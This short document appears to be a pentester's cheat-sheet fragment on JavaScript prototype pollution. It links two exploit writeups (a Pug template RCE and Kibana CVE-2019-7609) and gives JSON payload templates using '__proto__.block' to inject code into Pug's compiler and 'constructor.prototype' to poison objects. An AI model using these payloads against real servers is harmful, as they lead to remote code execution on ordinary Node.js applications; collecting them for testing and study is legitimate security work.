JAVASCRIPT

prototype pollution

pug.compile exploit
"https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6"

"__proto__.block":{
"type":"Text",
"line":"console.log('a')"}

prototype pollution

"https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/"

JSON:
"constructor" : {
	"prototype": {
    	//code
		//"env":{}
    }
}